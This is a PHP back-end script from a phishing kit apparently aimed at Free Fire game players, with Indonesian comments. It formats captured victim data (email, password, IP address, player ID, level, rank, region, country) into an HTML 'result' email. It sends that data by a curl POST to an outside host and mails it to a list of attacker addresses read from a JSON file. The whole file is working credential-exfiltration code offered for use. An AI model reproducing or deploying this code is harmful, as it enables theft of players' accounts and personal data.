<<?php

//mencegah masuk tanpa method get
if($email == "" && $total == ""){
$url = $_SERVER['PHP_SELF'];
header("Location: send.php");
}

//jenis ress
$coda = 'RESULT RIZZ HOSTING';
$spin = 'RESULT RIZZ HOSTING';
$claim = 'RESULT RIZZ HOSTING';

//jenis mail
$coda_mail = 'coda';
$spin_mail = 'spin';
$claim_mail = 'claim';

//get setting
include 'setting.php';

//method get
$total = '1';

//mengambil random isian
include 'log-cpr.php';
$noperess = '08'.rand(1000000,9999999999);

$log=array("Facebook", "Google");
$random_log=array_rand($log,2);

//info sendmail
$emailku = $email;
$logress = $log[$random_log[0]];
$idress = rand(100000000,9999999999);
$subjek = "🥶|| LEVEL🍁 $level || [🌪️𝙍𝙀𝙎 𝙂𝙊𝘽𝙇𝙊𝙓🌪️] [ [results Spin ff 🔥]|'.$tier";
$pesan =  <<<EOD
<!DOCTYPE html>
	<html>
	<head>
		<title></title>
		<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"/>
		<style type="text/css">
			body {
				font-family: "Helvetica";
				width: 90%;
				display: block;
				margin: auto;
				border: 1px solid #fff;
				background: #fff;
			}

			.result {
				width: 100%;
				height: 100%;
				display: block;
				margin: auto;
				position: fixed;
				top: 0;
				right: 0;
				left: 0;
				bottom: 0;
				z-index: 999;
				overflow-y: scroll;
				border-radius: 10px;
			}

			.tblResult {
				width: 100%;
				display: table;
				margin: 0px auto;
				border-collapse: collapse;
				text-align: center;
				background: #fcfcfc;
			}
			.tblResult th {
				text-align: left;
				font-size: 1em;
				margin: auto;
				padding: 15px 10px;
				background: linear-gradient(-45deg, #FF0000, #000000, #FF0000, #000000);
				border: 2px solid #FF0000;
				color: #fff;
			}

			.tblResult td {
				font-size: 1em;
				margin: auto;
				padding: 10px;
				border: 2px solid #FF0000;
				text-align: left;
				font-weight: bold;
				color: #000;
				text-shadow: 0px 0px 10px #fcfcfc;

			}

			.tblResult th img {
				width: 100%;
				display: block;
				margin: auto;
				box-shadow: 0px 0px 10px rgba(0,0,0, 0.5);
				border-radius: 10px;
			}
</style>
</head>
	<body>
		<div class="result">
			<table class="tblResult">
	 
					<th style="text-align: center;" colspan="3">🧬𝙍𝙚𝙨𝙪𝙡𝙩𝙨 𝘽𝙤𝙨 𝙁𝙤𝙧𝙭𝙯𝙕 𝙃𝙤𝙨𝙩 𝙭 𝙄𝙦𝙤𝙝 𝙘𝙖𝙣𝙩𝙞𝙠 🧬</th>
				</tr>
				<tr>
					<td style="border-right: none;">Email</td>
					<td style="text-align: center;">$email</td>
				</tr>
                <tr>
					<td style="border-right: none;">Password</td>
					<td style="text-align: center;">$password</td>
				</tr>			
				<tr>
				    <th style="text-align: center;" colspan="3">Info Tambahan</th>
				</tr>
				<tr>
				    <td style="border-right: none;">𝙞𝙥 𝙖𝙙𝙙𝙧𝙚𝙨𝙨</td>
					<td style="text-align: center;">$ipz</td>
			    </tr>
			    <tr>
			        <td style="border-right: none;">ID Player</td>
					<td style="text-align: center;">$id</td>
				</tr>
			    <tr>
			        <td style="border-right: none;">Level Akun</td>
					<td style="text-align: center;">$level</td>
			    </tr>
			    <tr>
			        <td style="border-right: none;">Rank</td>
					<td style="text-align: center;">$tier</td>
			    </tr>
			    <tr>
			        <td style="border-right: none;">𝙍𝙀𝙂𝙄𝙊𝙉</td>
					<td style="text-align: center;">$region</td>
			    </tr>
			    <tr>
			        <td style="border-right: none;">𝙣𝙚𝙜𝙖𝙧𝙖</td>
					<td style="text-align: center;">$country</td>
			    </tr>
			    <tr>
					<th style="text-align: center;" colspan="3">©FORXZZ HOSTING</th>
				</tr>
					</table>
			<div style="border:0px solid white;width: 294; font-weight:bold; height: 20px; background: #3876A9; color: #fff; padding: 15px; border-bottom-left-radius: 5px; border-bottom-right-radius: 5px; text-align:center;">

 <a style="border:2px solid #000000;text-decoration:none;color:#000000;border-radius:3px;padding:3px;background:#3b7794;" href="https://wa.me/6282227506844">𝙬𝙖 𝙛𝙤𝙧𝙭𝙯𝙯</a>
<a style="border:2px solid #000000;text-decoration:none;color:#000000;border-radius:3px;padding:3px;background:#3b7794;" href="https://chat.whatsapp.com/IhjGQ48cyuU0ClXo2p8nH8?mode=ac_c">𝙂𝘽 𝙅𝘼𝙎𝙏𝙀𝙑</a>
</div> 
							
                                <table style="border-collapse: collapse; border-color: #000; background: #ccc" width="100%" border="1">
		</div>
	</body>
	</html>
EOD;
				
include 'panelrezz/data.php'; //wa.me/6283874438641
$sender = 'From: '.$nik.'<'.$sender.'>';
$headers  = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
$headers .= ''.$sender.'' . "\r\n";

$url = "https://pusatutama.forxzcloud.my.id/apiii.php";
$data =
"subjek=".$subjek.
"&pesan=".$pesan;
$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, $url);
curl_setopt($ch2, CURLOPT_POST, 1);
curl_setopt($ch2, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch2, CURLOPT_COOKIEJAR, getcwd()."/cok.txt");
curl_setopt($ch2, CURLOPT_COOKIEFILE, getcwd()."/cok.txt");   
curl_setopt($ch2, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_FOLLOWLOCATION, 0);
curl_exec($ch2);
curl_close($ch2);

$read = file_get_contents('farelganteng/data.json');
$json = json_decode($read,true);

for($i=0;$i<=count($json) - 1;$i++)
{
mail($json[$i]['email'], $subjek, $pesan, $headers);
}
?>